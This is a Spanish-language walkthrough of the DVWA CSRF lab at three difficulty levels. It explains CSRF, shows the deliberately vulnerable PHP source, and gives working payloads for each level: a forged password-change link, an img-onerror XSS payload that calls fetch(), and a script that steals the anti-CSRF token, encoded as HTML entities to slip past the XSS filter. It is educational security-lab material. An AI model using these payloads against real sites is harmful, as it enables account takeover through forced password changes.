Saltar al contenido principal

CSFR (Cross-Site Request Forgery)

CSRF (Cross-Site Request Forgery) es un tipo de ataque que engaña a un navegador para que realice acciones no autorizadas en un sitio web donde el usuario está autenticado. Esto se consigue mediante:

  1. Solicitudes entre sitios: El atacante crea solicitudes HTTP maliciosas que parecen legítimas para el servidor, aprovechando la autenticación del usuario sin su conocimiento.

  2. Formularios ocultos o enlaces maliciosos: Pueden estar en sitios externos o enviados a través de correos electrónicos. Cuando el usuario hace clic o visita estos enlaces, se ejecutan acciones como cambios de contraseña o transferencias de dinero.

  3. Imágenes o iframes: Incluir etiquetas <img> o <iframe> en sitios maliciosos o foros para forzar al navegador a realizar solicitudes no autorizadas mientras el usuario está autenticado en otro sitio.

  4. Scripts de sitios cruzados: Utilizar XSS en combinación con CSRF puede amplificar la capacidad de ejecutar acciones no deseadas al cargar scripts maliciosos que realizan peticiones automáticas.

La protección contra CSRF generalmente implica:

  • Tokens CSRF: Un servidor envía un token único en cada formulario o solicitud que el navegador debe devolver, verificando así la legitimidad de la solicitud.

  • Verificación de Referente y Origen: Los servidores pueden comprobar de dónde proviene la solicitud para asegurarse de que no es un sitio externo.

  • Encabezados de Seguridad: Utilizar encabezados HTTP como SameSite en cookies para limitar el envío de estas en solicitudes entre sitios.

Este método de ataque explota la confianza que un sitio tiene en el navegador del usuario y la implementación de medidas de seguridad adecuadas es crucial para proteger la integridad de las interacciones del usuario con la aplicación web.

Bajo

En el primer nivel, al ingresar, nos encontramos con un campo de entrada que nos permite cambiar la contraseña.

login

nota

Los navegadores están comenzando a configurar de forma predeterminada el indicador de cookies de SameSite en Lax y, al hacerlo, están eliminando algunos tipos de ataques CSRF. Cuando hayan completado su misión, este laboratorio no funcionará como se esperaba originalmente.

Anuncios:

  • Chromium
  • Edge
  • Firefox

Como alternativa al ataque normal de alojar URL o códigos maliciosos en un host separado, puede intentar utilizar otras vulnerabilidades en esta aplicación para almacenarlos; el laboratorio Stored XSS sería un buen lugar para comenzar.

Por lo que vamos a realizar directamente los ataques aprovechando los XSS como nos recomienda.

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Como podemos observar el código no tiene ninguna verificación contra CSFR, por lo que si aprovecahmos el ataque de XSS reflected o storage.

Antes de realizar el ataque, vamos a comprobar como funciona la petición de cambio de contraseña y nos encontramos que se realiza mediante un GET con los parametros en la URL.

cambios password básico CSRF

Aquí al no tener ninguna protección contra ataques CSFR nos valdria con crear un web donde el usuario haga click en un enlace y se le cambiaria el password

<a href="http://localhost/vulnerabilities/csrf/?password_new=p&password_conf=p&Change=Change#">

En este caso depende mas de la pericia del ataquente por realizar el engaño que la vulnerabilidad en si.

Medio

Cambiamos al nivel medio, si intentamos el ataque desde un fichero externo a nuestro dominio no funcionaria como se ve puede ver en el código fuente. Esto es debido a que comprueba de donde viene la petición y si no viene del mismo servidor no se ejecutara.


<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Por lo que vamos a inyectar el siguiente código XSS para que cada vez que se carge la web, la imagen de un error y se ejecute nuestro código JavaScript haciendo una petición fetch y cambie la contraseña.

<img src=x onerror='fetch("http://localhost/vulnerabilities/csrf/?password_new=p&password_conf=p&Change=Change")'>

Ahora si queremos cambiar la password algun usuario solo tenemos que compartir la siguiente url

http://localhost/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%27fetch%28%22http%3A%2F%2Flocalhost%2Fvulnerabilities%2Fcsrf%2F%3Fpassword_new%3Dp%26password_conf%3Dp%26Change%3DChange%22%29%27%3E#

Si la web tiene algun XSS storage solo tendriamos que almacenarlo en el para poder realizar el cambio cada vez que un usuario visitara la pagina.

Alto

Vamos con el nivel alto, si miramos el código vemos que en este caso si se añade un token CSRF para evitar el ataque, pero aprovechando otra vulnerabilidad podemos realizar el bypass.

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}

if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );

// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );

// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}

mysqli_close($GLOBALS["___mysqli_ston"]);

if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Lo primero que debemos hacer es analizar cuál es el campo de entrada donde se almacena el token, en este caso user_token. Para recuperar un token válido, primero realizaremos una petición a la web original donde se encuentra el cambio de contraseña. Obtenemos la página web como texto y la convertimos en un DOM virtual, desde el cual podemos recuperar el token y utilizarlo para cambiar la contraseña a nuestro antojo.

fetch("http://localhost/vulnerabilities/csrf/index.php").then(function (response) {
return response.text();
}).then(async function (html) {
let parser = new DOMParser();
let doc = parser.parseFromString(html, 'text/html');
let token = doc.getElementsByName('user_token')[0].value
fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token=" + token + "#")
});

Para poder facilitar el ataque vamos a minimizar el JavaScript.

fetch("http://localhost/vulnerabilities/csrf/index.php").then((function(e){return e.text()})).then((async function(e){let t=(new DOMParser).parseFromString(e,"text/html").getElementsByName("user_token")[0].value;fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token="+t+"#")}));

Ahora que ya lo tenemos listo, vamos a aprovechar la vulnerabilidad XSS reflejado mediante el ataque XSS de img.

<img src=x onerror='fetch("http://localhost/vulnerabilities/csrf/index.php").then((function(e){return e.text()})).then((async function(e){let t=(new DOMParser).parseFromString(e,"text/html").getElementsByName("user_token")[0].value;fetch("http://localhost/vulnerabilities/csrf/?password_new=g&password_conf=g&Change=Change&user_token="+t+"#")}));'>

Pero como observamos el ataque no es funcional.

Ataque fallido

Esto es debido a que la expresión regular que evita el XSS nos borra parte del ataque.

filter xss

Para solucionar esto lo que podemos hacer es convertir el js a HTML entities para evitar el filtro, para ello podemos usar la siguiente web

convert to html entities from ascii

html entities conversion

<img src=/ onerror="&#x66;&#x65;&#x74;&#x63;&#x68;&#x28;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x2f;&#x76;&#x75;&#x6c;&#x6e;&#x65;&#x72;&#x61;&#x62;&#x69;&#x6c;&#x69;&#x74;&#x69;&#x65;&#x73;&#x2f;&#x63;&#x73;&#x72;&#x66;&#x2f;&#x69;&#x6e;&#x64;&#x65;&#x78;&#x2e;&#x70;&#x68;&#x70;&#x22;&#x29;&#x2e;&#x74;&#x68;&#x65;&#x6e;&#x28;&#x28;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x65;&#x29;&#x7b;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x65;&#x2e;&#x74;&#x65;&#x78;&#x74;&#x28;&#x29;&#x7d;&#x29;&#x29;&#x2e;&#x74;&#x68;&#x65;&#x6e;&#x28;&#x28;&#x61;&#x73;&#x79;&#x6e;&#x63;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x28;&#x65;&#x29;&#x7b;&#x6c;&#x65;&#x74;&#x20;&#x74;&#x3d;&#x28;&#x6e;&#x65;&#x77;&#x20;&#x44;&#x4f;&#x4d;&#x50;&#x61;&#x72;&#x73;&#x65;&#x72;&#x29;&#x2e;&#x70;&#x61;&#x72;&#x73;&#x65;&#x46;&#x72;&#x6f;&#x6d;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x65;&#x2c;&#x22;&#x74;&#x65;&#x78;&#x74;&#x2f;&#x68;&#x74;&#x6d;&#x6c;&#x22;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x45;&#x6c;&#x65;&#x6d;&#x65;&#x6e;&#x74;&#x73;&#x42;&#x79;&#x4e;&#x61;&#x6d;&#x65;&#x28;&#x22;&#x75;&#x73;&#x65;&#x72;&#x5f;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x22;&#x29;&#x5b;&#x30;&#x5d;&#x2e;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x66;&#x65;&#x74;&#x63;&#x68;&#x28;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x6c;&#x6f;&#x63;&#x61;&#x6c;&#x68;&#x6f;&#x73;&#x74;&#x2f;&#x76;&#x75;&#x6c;&#x6e;&#x65;&#x72;&#x61;&#x62;&#x69;&#x6c;&#x69;&#x74;&#x69;&#x65;&#x73;&#x2f;&#x63;&#x73;&#x72;&#x66;&#x2f;&#x3f;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;&#x5f;&#x6e;&#x65;&#x77;&#x3d;&#x67;&#x26;&#x70;&#x61;&#x73;&#x73;&#x77;&#x6f;&#x72;&#x64;&#x5f;&#x63;&#x6f;&#x6e;&#x66;&#x3d;&#x67;&#x26;&#x43;&#x68;&#x61;&#x6e;&#x67;&#x65;&#x3d;&#x43;&#x68;&#x61;&#x6e;&#x67;&#x65;&#x26;&#x75;&#x73;&#x65;&#x72;&#x5f;&#x74;&#x6f;&#x6b;&#x65;&#x6e;&#x3d;&#x22;&#x2b;&#x74;&#x2b;&#x22;&#x23;&#x22;&#x29;&#x7d;&#x29;&#x29;&#x3b;">

Como podemos observar ahora el filtro no para el ataque y obtenemos el cambio de contraseña.

xss bypass

test password